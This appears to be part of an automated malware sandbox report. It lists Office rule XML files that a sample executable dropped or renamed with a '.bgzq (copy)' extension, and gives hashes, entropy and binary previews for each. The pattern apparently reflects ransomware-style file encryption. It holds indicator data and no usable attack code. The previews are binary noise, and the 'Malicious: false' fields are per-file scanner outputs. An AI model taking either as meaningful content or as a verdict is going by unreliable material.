Preview:	<?xml.E....A......`X]....YY.......B....n......A..........\.U...o....o...= .@.>).F./...;kl..T....;.&+Z.?.m...N.@M....u.TF!.o...z...U.....o#1....s....>"..._.0.Z`.x....X.~,..6.6M(.R...%.3a..'...._...../....y.Y......$..b!`....)....E....r.....35.f...K...(..-B..=2.H.9g.....R^._![...h".....\r..q.."e;.w..`6...?.P...Y..6........xaZ.........H...$.....M.....D...q..SG.......e..%I.7.X6I.L.....L..+.oM<......'X.O#.#..V)..1+.G.=......8..upe...E..z..m...D..~7;YQ.7.H.>(........k...K_?.PA..`I&..#i...I...Z....e^QA....#F...Ke.<`.....0fA.a.....(.0...wv...l..x...Al.....u.....>...4`b.1...+..fD................TD...;..1.Re_.2..ug.5..%0.*.q.p..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.675625699158614
Encrypted:	false
SSDEEP:	12:Xxt0TwYflpAb619cycRU4A6Tv8nWE+p2bAwkP1yYCIuHEng8gnrOEoP1fDbgjVcq:Xv01xgjFEhASIFgLrORt7bCVbD
MD5:	1C5609D2BF5BD09E5550CEF2643B5536
SHA1:	6D882B7F323C7366CEDE6103FC72671174FA8CA2
SHA-256:	187A152E3B5F227278804824D36E021DC8558DCE0F917265DD0216AF9EE104A7
SHA-512:	D2087A8B968D96DECC7E00EE27930FD8CDA923CA65BB12B11200C3CAB4F7C0A369CC93864E4BBA3A0330002E82919477DE00395CA5E31F1A0F481003CF064BF5
Malicious:	false
Preview:	<?xml.s...\|.9K.c.v...OC.....FRjU..........A..mk.l...V.q..,<....?..k......fB{.O......K...O.B.....>.A.0.>......U.B~...5_ ......G.qG.OU..eSc.3{..`QbR.,...^5[.O.^...S=.}...+.x..V.......M..T.Gz..D.du..D...10.E..q..L.q\.9.t.t...;a......s@.;..c..W.u.k......../..R...$..vM~M@....#"~.]....k.......l1..N.7.".iB%.7.v..H.....8......_5R.P.....P).L.....A~..1.~.i._.+..!O.......#bVx&.5.8s+x..#m.B9...Vw.~%....\|.........7.8...M.'......D.....y.0.NK.{..{(."<..>.....6..v}....m2.!...e...s....,..U......<.\| ~>.g.-...{.m...;=...u-%...f.ybm.#..a.X....8m.....kwq.C.u.....`U...Q.V...j.N..A.....>Su....":.t.6a.O}..yH.7.:....n.W../.D.m..!.v.X....%....lh.@.u......F...Q$.y..4.....u..."kY>5M.a..\../.......*z$k....L.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.666060987056218
Encrypted:	false
SSDEEP:	12:AsvMOWbLSLyeA8pMPwm4V/qByTq4lCDc5I/hg7fdRu+pKNP0hnbhJjVcii9a:1MVbLSVA8pM+AyTJlCIu/oVTVbD
MD5:	E740EBA30C79D10101BAB47E1334E717
SHA1:	9DC8BCFE5EE4983CF1FC5491A0EAEF62017BEE0F
SHA-256:	78598B4D4A9F3EF8D4F8CD9C90E5D37D598DB80E24F0F9E1DA7028E9A37EA7EF
SHA-512:	82DC4A52821F53EBEABE9B4504D945DCFD15643B0FD15A20FEF73EE2C30E9E8FCF9A58D4DBFDC6FD0DF91FDB185F7EE7A61F948271220094FC6F21740FEDC1F4
Malicious:	false
Preview:	<?xmll...S..+...X.o......I.0@:U.........j........B/.-.vz~d......w.Xk.........3.V....3w.c.#(...N.J.........X.....b..a.z.!.>.T......F:.....{..w..Y.DQ.....G.)...{5.r..........+..`s...>.I[..b(j.MC....@..@zzKQ..x(.>`p.,..4...{"..@..W..m.Qt.p..?.c...%T...O...W.=....@D.Ox"..7.W. .p:.4fF.:.>.&d...1.y.....[.P.\|(...U.&4...O..9e.>8....{...~...W...f..B..j1.L.`.1.....M..ch\|..g...h.?s[..M..t9...N7i..J.Q..n ......82....].....L.D ..Enp{@+Du..knY............#...[...F..G`rc'.5.F....No...3.q.Q....F......:m..,5&...".?.PtMOl..(.\|Vh...&..(....D...:5g.;TxK..BQ.........8...t..U(..x.=..Z....\|......R4.1g..........Y...Ij. .... ...w.f.4....l......0i..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.752502992422371
Encrypted:	false
SSDEEP:	24:cS6uM1aO9ea8t0+fLC36c0q8SgfBxYSYeVbD:N6aa30vSMBxY1eFD
MD5:	DB2457F22A2E512DB0DB60606C178860
SHA1:	4E38A52B4BC72FB72D36851AE97A8DEAAD32E92C
SHA-256:	02CC991D290376346DCAF6CA86B83CE5961B6DCAEC093DA3A77B15B9ED73D716
SHA-512:	CA0D44F259EC54F01EEDDF137D3361F9EA021CF4C206074669EC12CEC9B0BEB3DCCD7B087885ECD83ECD03A6C816CCAEE8F70ACF0B58EB94A32996C77651517B
Malicious:	false
Preview:	<?xmlF:...P.)...U...L...W...'.c....!.K...d...R.$.Y.q&..Z..E....u....#.]k.5E..e..{ ...YY....+.r.....w...9...F...j....]..-[P..E.K..B...O...).(... ..".a.......,._.X...t..&.,6.y.g.]...{...:B.5.g0......-..5...-....q.8...y<...W..".].....4.....h-.O....vt..}......~&Fm..R..3..M7C4G.......Pd./%...D...P.....F`..n...y#[!.-n..$r.&VDu...@.f..h`......x.R...P.e<.i.e... .%O...epr....q..6..K=[.%.v'.u8..M...&n....-i@....b.}._.B....`NN.U'.N.n...:...+..).....X.n...../.*x.dA..2b.0~.....3)..Cj.Mes.d...U.,..S..2...e.Qh6.GI...Xy\|.6~..a..+.Ih...X...i.m.a:.O....M.Y()V..1y.4.x.RMEG....t.....A...........F.e...}.H&.2...xT..........O]......^.>.eg........Vi....-...VA...n\..[............g...N.Zu..?.'.^..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.724700074770002
Encrypted:	false
SSDEEP:	12:is1aiaqSlaqhgs2ijHp9dMTGPXtfwPqDqpbyu4e4AIBrGFJr5gtAjVcii9a:N1yqMactXDdoPqEbyu4JA002tiVbD
MD5:	1F3CC0DF62929A4CFB03BB3EF9A3F97B
SHA1:	F1C50851A0DECC3EB2D9492F1C8E680EB952604F
SHA-256:	D645ECBD48EFA4CE65DBB747266A16840DD8C60082265B0EA50AADC8DE4573F7
SHA-512:	40DFEE4E3AB3E87C8CDAA17A05803AE71CE333D1FC7CCD497163A6AE36EAB3349D5BFE3D812C5CCEF4CC5A84D000662F58D6A7762430307916D823BD79167D3A
Malicious:	false
Preview:	<?xmlH$..........\|..U...[.I.....9..]..?Bn...#..<.....2.$.....!.7.G...w......b..?.6....%...H..S.......OK.t.go..>IWAQ..Y.....%..J..Z.p.9.....+...+.............e...r...`.-..$...HCHv.j...J.r.^...;A".W..c`1........d........&7..r....p"".g.q.7..T}....HN).....^'....Hh........}.XW...K.%.....b.R. -.../.;...]..!.....F...=.7}bK=...(...........cw.9.0D...`...)...L...Q.b...^.du.....D.'..u^.%.).(.D.q...JR..c5L.=o... .sk$`..o...K...1".u"."r..+...b..8r..fy.....I..&......Ho.A.....f.......(S..V..#Y.....qqw...X.l.c+.n`l...%8..H....E..l.]7W"..9...Q.@.....S.~.5..2m.4....7.9.G.!>d...y"...%..$..$..).g.g..$....=2.,.._.d...._t.]......"VW..J..l6itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.691793692027572
Encrypted:	false
SSDEEP:	12:SyLAavcEbK09oJntNsAoA8lPbMQpeKSoX2SEGDLJRdoNEoZap/8yifea/rQCTSyx:SeoyMJt4FPbMsplNRiWHifeWSMpVbD
MD5:	FE4D4337E49710DA382A1B7AC87C8629
SHA1:	CAE8A31E20191E1D2ECEE2A1350DFDAB3F732DDE
SHA-256:	CA39515D0F3C115586BBB3BC0707C19CB736E49C8E2FC2F996EBA282195CECC7
SHA-512:	38059241A4DA194ABD271EECDB938256DA9159787C1685E3ED382A4CF7C3716D69148BD6754E6E987BCF09FA3CA333F7929FD7699D53BB673A1338BA4318031B
Malicious:	false
Preview:	<?xml..6.S"...l.v.]..Qk.+p..8Gj-xQ..=..:.T.dQ0'.........mx.eZ...m..~.2..j......S...\s.].N.p.q.3G..7..6.xzb~.r...(0.....E..`L.1\|t....c...{...zd......._.W.....g.......4...f.3"f..'.._...+vx.f.......00....mJ:.-..<I..m>..ORD.6.....WZ...XD.7R3/..... ..K..y*.....a....].H.5.1..3{8.......$r...Dj..c.PG(hn.a.....N.1n.~..j.Edg9.x.....p........V.JdS..}~..Cpa..,....{?Q.:.....F.Q..}.M......gjC.Tb.#\E..].....x......%K....n..\|vf.....-....#V...4.:t.......7.N......o.\|.d.....h8...q..O...>.!..V..B.F@.eB...Q.\|{..?o"K9....G3.?......S..h.S^o..=.GH `G.m]..C3..f&....._.. .{ ......x.).a..T}...^...9.j....5..D.;..b.M..4....t..Q6 .E.Y...0c{..H.......0.(.V?.LU......Q.Qx0......Myxd..^..H.m.wW. y...PbL....X....}.....+.....3.[.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.721459782512893
Encrypted:	false
SSDEEP:	12:k1L7Nym5fMC0VvdaCeAmRPwAXC69BcDi1OqFKmqGZCktF14uEKZl+8itejVcii9a:kRZxIRAXC69OKOqFMGZCkvEKi6VbD
MD5:	97D41F05D1317A08F9AA29CA916D5A35
SHA1:	D583BDAA3A6B5B29E90BDEFDF75B08691562AB21
SHA-256:	818D2C7EF2BC6AFED8D42C852E1D4FF2523C3485C0E2BACE830CEBD54B7FE589
SHA-512:	41B2072EF7643E25B8913C3470C04850AA526549EA80934DD7BEDD716A4016F218488F5FB71081D1B3643BDBC83013ECFCCD5575DDDF9C92918F3AB87E4C026F
Malicious:	false
Preview:	<?xml..D(.QQ )U.\.8.z.P..L......d...H....A.....{..\|.....K.6.5'.#m.z..o...Rb.H...oB.$avT..e.~@..\...,_4.....@..@w56..+1.]..U7.....Wyd.3.6.l.p...(.".jR.Own..85wK'U.9g......^.A.J.i....=Lb....T...F8.>..<.mNk{...@...-.J.3p.....G.3....e.e.....X.j%X.YM@.(.tm./.j.....wS.q..l_k.%{:.:.X&t...lQ.a.#....A7....-.WL.S..$.Y.yP5HY-.j....h.D^..`..} ..1=..U...#.g..<.;..~.J(.tX............P.50A..r?)...#9...".F.&. 8{.)j.G<..U/ f.[....Y...t.6.H...h....\|..ALC...5.I...i...'....b.2YR.5s.2.?.x.h.v.M}..o.T.....h^;..~X.c.w....T......1.....<.U\<..r._..J.?..Vf.[{..M..pR.l.Ix. w...[o.6;t....+u....`.Y.)......Q...S.3..S..#.}.'....W..J....ri./y..c.b..^,....}d...7.....uitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.724238902806191
Encrypted:	false
SSDEEP:	24:y5vKYr+QacMOLFbsL0+r31q6Ggmg4BDNzZCExiVbD:yES+NchsLvggCDdxiFD
MD5:	22293ED07BDC8C47E1A0C316BA1B828C
SHA1:	6EAAD9257B106BBF524A7C75CF90A33EED9AC4D2
SHA-256:	8464A3969770DA04E49153348D6B9DE41024A59E8A7C1374A4CD7125DE9B781C
SHA-512:	DC4F65FE64367BBB83875F1DC567310C66CF0A48E682FAA5154A56086705BB4120EFEBF1BABFC148DFBA97BF80496E27997C9BDA98FD79C4A680AFE3ADCC5841
Malicious:	false
Preview:	<?xml.....u..wps....t"q...X.^.^Ge.....2f..,....NY...G3..2/.........:EHg {.a....R...........Q>........aI.!J.i.`... Ho6.c"m,.2........j....P%.......n.#...iN .G...../.Iq......]..g...Y..pJB..B.s.N."....(...,.B.ExVy..Z..Y3.l.......>......&...]...M.a."~g.......R.VzE..K.2..Q.r..@H...$......es..dls...x..\b<..4.....C.u....n.i$.D.C..Y...u.p..B......j..,......d;.....p..p.Qd,.(.V...w.....U..:./d..5.#.!..+.....m.E..T`...H...Ss../U.w.>....\.\.Rz.T.....<N.i......-.(...q.nr.!..;...a6E.t.Xx..c....D.X...`.2Vr.#]..,..&..8..S.u..g=.L}..L.P....sd..."L.........5-h7y..<XH.....w(../~.z.M.<.xo...-.r?..v..[.>0.r......)...<)K...C..../.[.......k..er.RI0..q..5f..c...].O..uJ.>."q..y.,..\?...`.Rhs..c.u.(..{.(6.Y...E...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.711289538192863
Encrypted:	false
SSDEEP:	12:I6+VOGOx1BMPEktSgwlOzWj7x7fT3MWv/yYIgSTtIqY1am3m3tXuJxcjnjVcii9a:Ya1BeNtSgwwktfT3M2aYIgSTFfuJxIj9
MD5:	045C13CD952A94EB62A75F36259BA0D5
SHA1:	00B47516DA91C0BCABE2C49CCDBEFDE31DE3429C
SHA-256:	A67B21931D82841E30074D1EACF6FA5203F044CFF5F8C0E1AC724B4C0DC27AC6
SHA-512:	2CBA3510D8C8BE3B73620327A9CA7FF062D33FD692E8B6588A1C7C72B24056123913BC5491A33EB9C1F48B5DD37E7E6F3E6652CBA1D48C97585DA388FA4036AA
Malicious:	false
Preview:	<?xmlD,..\."!..n >d...+.^p.c~.......:.al.zc.[...H. .].=....3........G........5.F+=.C..?i....X.c...P..+..n...H....X=4.].-v.c.:.<eH..........Y~.v...f.YP.=K2.......Vs....m....p...4....;...KI.b..P.j.....hE.<...d...{9..?R......e>$%....-..}..)....i..f..0&Q.-..L..R.(]..........>C..x...:.Z.......J.z.....s@..7...r..Z../.Q".....1v..h&...:...<rT...p......!s..].^.j.&0y....J.....!.L..$M.:.....I.=&C...%..}H../.F....cQ..F..T.1.A..6.Vn.QxT..'.4..QX=.H*0.!~e.T.!\|2........f@Q&.EMS.9..Z...v.....E.]......f5&.p1(..Y.y.)(b.iF.;].).....b.C..Y.T...9.......Ia`..AE..J.O+fk..p..d.\|..v...?..s.......Y....@P...9.G.......[.5..{.r.8....Z;...%#k.;.......:cncb..Zl.........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.703470981955313
Encrypted:	false
SSDEEP:	24:2z51jQgcnaJaB6pdrvUH8ni0MFo+JzIHDtZPqUv9sVbD:2zcFaJacfcH8niZokeDtZSLFD
MD5:	F5C475513407CF85B85361FDD9BFCF63
SHA1:	06DBC7858D08B80066616D21C8D0A0C30460F20C
SHA-256:	944C8541A8782647B092F4CA827AC58DF2C88384AE63BBB23B52038E092F161B
SHA-512:	229A148346108BACD7CB6EA66B472249B78A073FA02467CA8F58C5869A9D5D7D290D702F334F68E365E4124E383975689A021B382B38C1633B0BE07D56320EC4
Malicious:	false
Preview:	<?xml...b3...s.F.....;AC.o..`..V.rmD...t.=..........V..D.....g..'a.Tw'}.6NW..@{BM5r^.O.E:1..c..../7K-..$....8.V..D./.%.../4>..6.,0<..0..")\..G.(NX..6.../.9!.F..B...Q.%.Q.lc.......`.2..e......)......w2..a6R......2V.rm..M+C.?9.N....9...7../}?.t.O..tCz..W....S.D..T.x0.kY. Ru?F..oQ...Z...m....D..X0N.8....]...Rk2q.$..3...#...t........u......a....<...c..#.\..\?..;Bs.....e.h.X<.....E/..h..\g..\w.~..J`.....R.....(.W.@.=.F.C..-....fe..ASO.EY.5..yQ.x.#~S...10..DOOv..x..]cGA...y......9......N./.&...5...d....`he...L8j...N....R.V.j..F.....>.,......\|?..)....H#.. ..y.!._/.L...wP9.o..O...y3z...>."J..:\|....W.o.43[....+....Vz..l.....{..J8A../ .....+....E...V.m^,.E....[d.,.)&.Y7.&*..<).._+k ..'&1.j..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.750349659191626
Encrypted:	false
SSDEEP:	12:ajdcke1GOzSoNR3Mmcun9cTNIPoH+zGFqd6gxhPSEHqRLEyfbjVcii9a:6mbNxXcTN+oe866ocVbD
MD5:	41685A1A7F854D5371A886D0FF8F528E
SHA1:	1DA6D201FE9076C2219F50A25D56DD5F78556B5E
SHA-256:	627159AEC67317CEF7DADEEBC19575B9551D35D508A36BC242B54B49EBD2DF8A
SHA-512:	66E88D2E29DC5F55DAB532DFEA973D538FE06358E1EA06F3BA4EE2AE5B15D97C73AA2BE04CD7293DDF636715F69A9702BF4051AE5BE3619D6BE543B23A7D79E2
Malicious:	false
Preview:	<?xml..M...W..iT..\|....H.....{a~L.=..i..3...+.2.<...H.{:......>.R...."...n....4V.!a.L..}A.d.0...,rG<&h...........]..b....s....W..>......... I..r..Z.Y...]M.T....6..Qb..7....(/d.+.C.0.U...0.2?.A..R4#.c..#.sp......nn..d...`V..&......Y.b..X...O.O...)a.....a_e.......T......0z...........:8..O6F..#.'...d...nb.._7.r..Q..YF...AP....T.w..U$)a..?.~.t..y......j."..B.q^W...@.3g..L.k".....H..~.^.f.n.9...2.lY..+w$~o.t.....@.`..L....M....7..6`..H..y..aq...6....Z.z...;...s..^6L<da~....8....M...o4T.O.B.t..+.K..0/.#.7..2!q.r.=.......A...{.r\|/.!.....uU...%.p.........6\>m.[R.O..Q.u@3!..).]K....j..L}...........C.#<I..n........}...(..-+........vo...la$.-..(....c5..S\1..`]j....$..B...W..;..maOq.7$.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.713275914354684
Encrypted:	false
SSDEEP:	24:urSHFbUiKI5hxZ/0RLGi1+lKlnn5rY+95EVeVbD:cSlopgh3Yqi1+Al1r9CAFD
MD5:	202A898908B66E3DD98E8F5ABB4BDB7B
SHA1:	16DB296557244EE455D7C3F3CE47ABB81962C555
SHA-256:	23B1F8E0C454DDA8090A6516B9FBA63F43DFD58116F042B47781D116F9F43930
SHA-512:	D280807A08EB2A627B3DB3D6EC38C47784AC5F2D0D90CC5A01F2D7C565BC0C6A0613FE9A936BBF8479F4E9AAE6406A8CAF9B42762083E53E4A0B99E61CA1D40A
Malicious:	false
Preview:	<?xml..+.7;.'.n.9en).... Z...;w.R.9....c.%.`LR.2.I...."..O..H...)........x........A..9.B2.J%eM......)>>L49.~.".En..b..J.S...c......Q.]."...P....J.]*'nK.b.V\|..b&./.At.t@..j;.S}...2.$...).'4..1}.j.%.7-.g.. .....O..'......N.....J..>..v...]a.O.^...\|.....z..T.....P.........E.S.N............+...'w.Y..s....C6...P...dqY.Y.jG....>..x\|..`.v.U.$..1.{.T..c....M....'.W.".,.\.....7.@.y...3...S...R./..2.7.0Xg.W.1/.Yu.M...3'..S..Ri9....W..V.g..........i.......R..80?..!...%.......?D!g...c..$.../8......R.I...~.(..0..(.H..g@..Z.jH.B...'R....%fn...B.`.P..z.23..`.q.v..]:.`.ev....86i.O.FN...q.@..m...<}aABY...4D~%.w..5..LA..b/...>.A..]...Ou....VN.\v\|x6..9....#..#...Yi...\).z.j.?+.q.H.....}h.....q...~.kV.Ix\......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.674128573009955
Encrypted:	false
SSDEEP:	12:7nqiZ9sKb5i2KbSoQ0AlFAePygVKHBWgrlhdGPAk5AeWpabk59HWX312v71S2Rj9:7qCsK0MZ/ATgIIgjdGPAMWpabmHia7UU
MD5:	AF804F8155DE4D50BCC7C46B2BEC5C12
SHA1:	0262E727591E14ECCC5DF1B864DB8A508515FA57
SHA-256:	DC58187AA1614188E9A02C35D761C26A8CC8079A35F4B77D1A63B3000BC046FF
SHA-512:	180D301F0F2257E781807BB7A73790DE62B8445134A847B8FF19A00381CD47A7B9017AE8B4C785652516D5E24C7D8F878378FA71A762B0ED5CA24E35A16CC9AA
Malicious:	false
Preview:	<?xml.uP]....S7`.X.[.eK..BV.fu...M8...4.}.;Z.Cs...{..%.%..........h..J..H.{.....51.j.V?Y#.gt.!{.i.z........#U..d.\]E....r.r........Xv.y..L.<'.a[nP.l=......O...#...MES.v.sd.!p.;...[7.#....$,...gs...nh@./.....F.;..w.".....H.....,.%:.O.m...~....-.:..5......d s.p...o.o(.p..3.x.T....{z.$weA...{AS.f.../'B.o....g7.......A.@..'....LFv}.w[.V.U...^........-=....M.o...5.W.....s...7c?.._B(@..e.B...^."tz........Hd.....$8iE.B....]M.B..hW.;......,.`l...Z..B..W..<c..v&S...y....n..#..zj.jP.}.......9W.X_;..2-....R..H6...G..N....#.A.-..7........2.G....Rt....&.....#.}I}9.9....W.....{@.'..9..t..)....$.6B..Ujt..f.7..nk..yU....8_Bm..)oj.....T..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.734649348345845
Encrypted:	false
SSDEEP:	24:aaPLob0e9QoZiA0zolS3efaIBWOeiAXd7Q8BVbD:ib9JkdOS3AeN7XBFD
MD5:	FCF25078BB98508AFA6FAAFABC7F2CDF
SHA1:	8AF01086ADD233C6D6774779F0415618506B16D3
SHA-256:	D4CB92940C8DBCC7BC7F081B4902E60AFC17CCBF84D800A79870FB45411DDD66
SHA-512:	6885513F4556097042923376FAA43C6571F115EB074040F6047A65B37B35C147688F47EB797B380646D1C1C9F98CE0B6E4060841855E40297DC74086299D3DF6
Malicious:	false
Preview:	<?xml.Nl..\|....w.g..bl.t-.l..I1Sr.....pJE.F>..[.&.@sy...!:..#..^....U.W".+Q...p.k......J... qEz.Q.O.: ..?\|+....=.....B.U..u...QH..^v......#X.%.......8.$.Y....B..g4q.....]....6.v\|.=...P...............8.,..F})...\^.....[.p.P.o....h.T...6.Nb..T.o..Q".R..'nSm...W..g]../....]4.Gi;NW\|?}d+.q..\.r.H...)\|3..r-.R..?....%-.)....u.......,..._p.m.....ya.!}X@.(.-...f.<"w.[...._D...w....oO..[N.%.....=st.Q.......rH.8O..\|.. ...$...6Mk....X...c..cP\.#..^V~"b..Z..u.)h.:.....O.....l.oh%....kb.Et.Y..Q...!.K....Ff.."........X...A..\.&.....8}...X^...J.....t...#....._.tO.....l.M.m.p.Ph..j..z.{,,qv...A..ax)4n6..j..H...o9.7.. ..8...3.....L...q........R..t..\..[F3.*...!.q.$...lrEImWu.H=..GCY...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.680299558870707
Encrypted:	false
SSDEEP:	12:cjxKsKeemh6fYrYRj0QG91syGnTk3M6srz8phkV7Ez0HtaQsAHlBDRpMVOejVciD:WceeKYRjE5GnTkqP8pcQ04v2/pMFVbD
MD5:	A31999075CC0B64E01AED73B2271AA90
SHA1:	2BCF58F62D386B6CA166F0627B6B2509A7F61A0F
SHA-256:	9E25F3C1959FBF6F992AFFD5B1BCC44E7CF332CBD87527490830E0D1CE6742CA
SHA-512:	FFAFEF4A5BF02C0F306A40C3B1438A900E9B375B8130A210812CBB8181DA544DF98A4D332A1A88432D75A0B6F335A9487D17142CD4EDF34E5B77ECD8DF15EE26
Malicious:	false
Preview:	<?xmlaN.o.:j...Y...-..0.....p..yJw2i.K.f7....{.6..h..t.zz...t....}...:.r...,O..3.a...k......T!.:.#.i>P.1\k8.....{.....46C+l.........+...a..i.....l.....3..Wa\|.e..B.....`..>.9........l....d.. p..5`......s....0....ar..%.".i. .e q....o../.M......0.K..K./.D.\|..l.....hKz.T...)....'....I..Q...V..PRdL.{..&d..3z......... eQ.i..QHl..2.07...<0..1..d..4.+..-.k.bm..=JC.-.+.+.],u..F...I...WGG.... .[.0.....m...>....z........s~..Rf....E...R....S..3w..4/.......Bh.4...e......8..c.k........:.)....}...r.0,UZ.l..^.F.....FID{..4q.............@e./.....H...3.......]D.Dek.#?..y......M.Y.6.w.l0....9l.`.../.....K.m...E....k....E.{..Rv..>-2......~.)....e.6.........."itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.693463622497491
Encrypted:	false
SSDEEP:	24:Aghd95Gd7PO9xiqwAF3r4Kn3P7Yr9c6e4fVbD:5hMxPOvTwAZ0K3zYlfFD
MD5:	FC07EED0D2CD66315E926283B9AF1A7C
SHA1:	7ECB09AE23603CDDBD8458D429AD9F5DF473B421
SHA-256:	8E800BE3F539F17460D1F5F2129526F6BCC0EB21EDFE35EDD58A819A41B2CD8D
SHA-512:	A67D3EA7D746CA40DDA4DD4F4496EEAA2C5E1959F60E4A9B2FC532236642520BC8E07110D24948E98E063FA7FEB3DB8C7D44840669E791776116317A9037018A
Malicious:	false
Preview:	<?xmlS.v...i.-..X8.......=..._..{._............<F.4.x...';.z..x..^....O.. ./ ........O..!........D.{.R':..;....B.<eH...bf..?A...W..COk].Sz.N.......zTk.E.w.ak..].2~.,..../?N-..Y}.$Z.{..v...0.gt.n....$6.........f....."...<...IW1....B..<.`d....L..K..e.(..@;$K..1..H..ZhX..>..&.2{.I.r..1..^.F.'.G.2.....p..... .{.zL-...T....y.U...w.H.8...t.T#k/P=D....E..Ot^<TJ../.(W...j..C.G..P....%p;..".wh._.:...,V.....I._4Y..zQ..n...)..8`j.v.n/.pp..t.2E...........d.Rb.>x.-R.7..X.m.....u.1....k._z......I.J.z.?..!..&............d.$..g...8./,..8..^...^6.^).O.....E.i3..JB..H.j......n.......k.&..m.MYV.....eBx..E.P......ShK.W.H.1.T..../.J!F..U..L..8........F......X.J....`.a"F..o...2`..M......#2......G.e....w.o...8.0..O..J...iSV?...\-y}M..&FE>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgzq (copy)

Download File

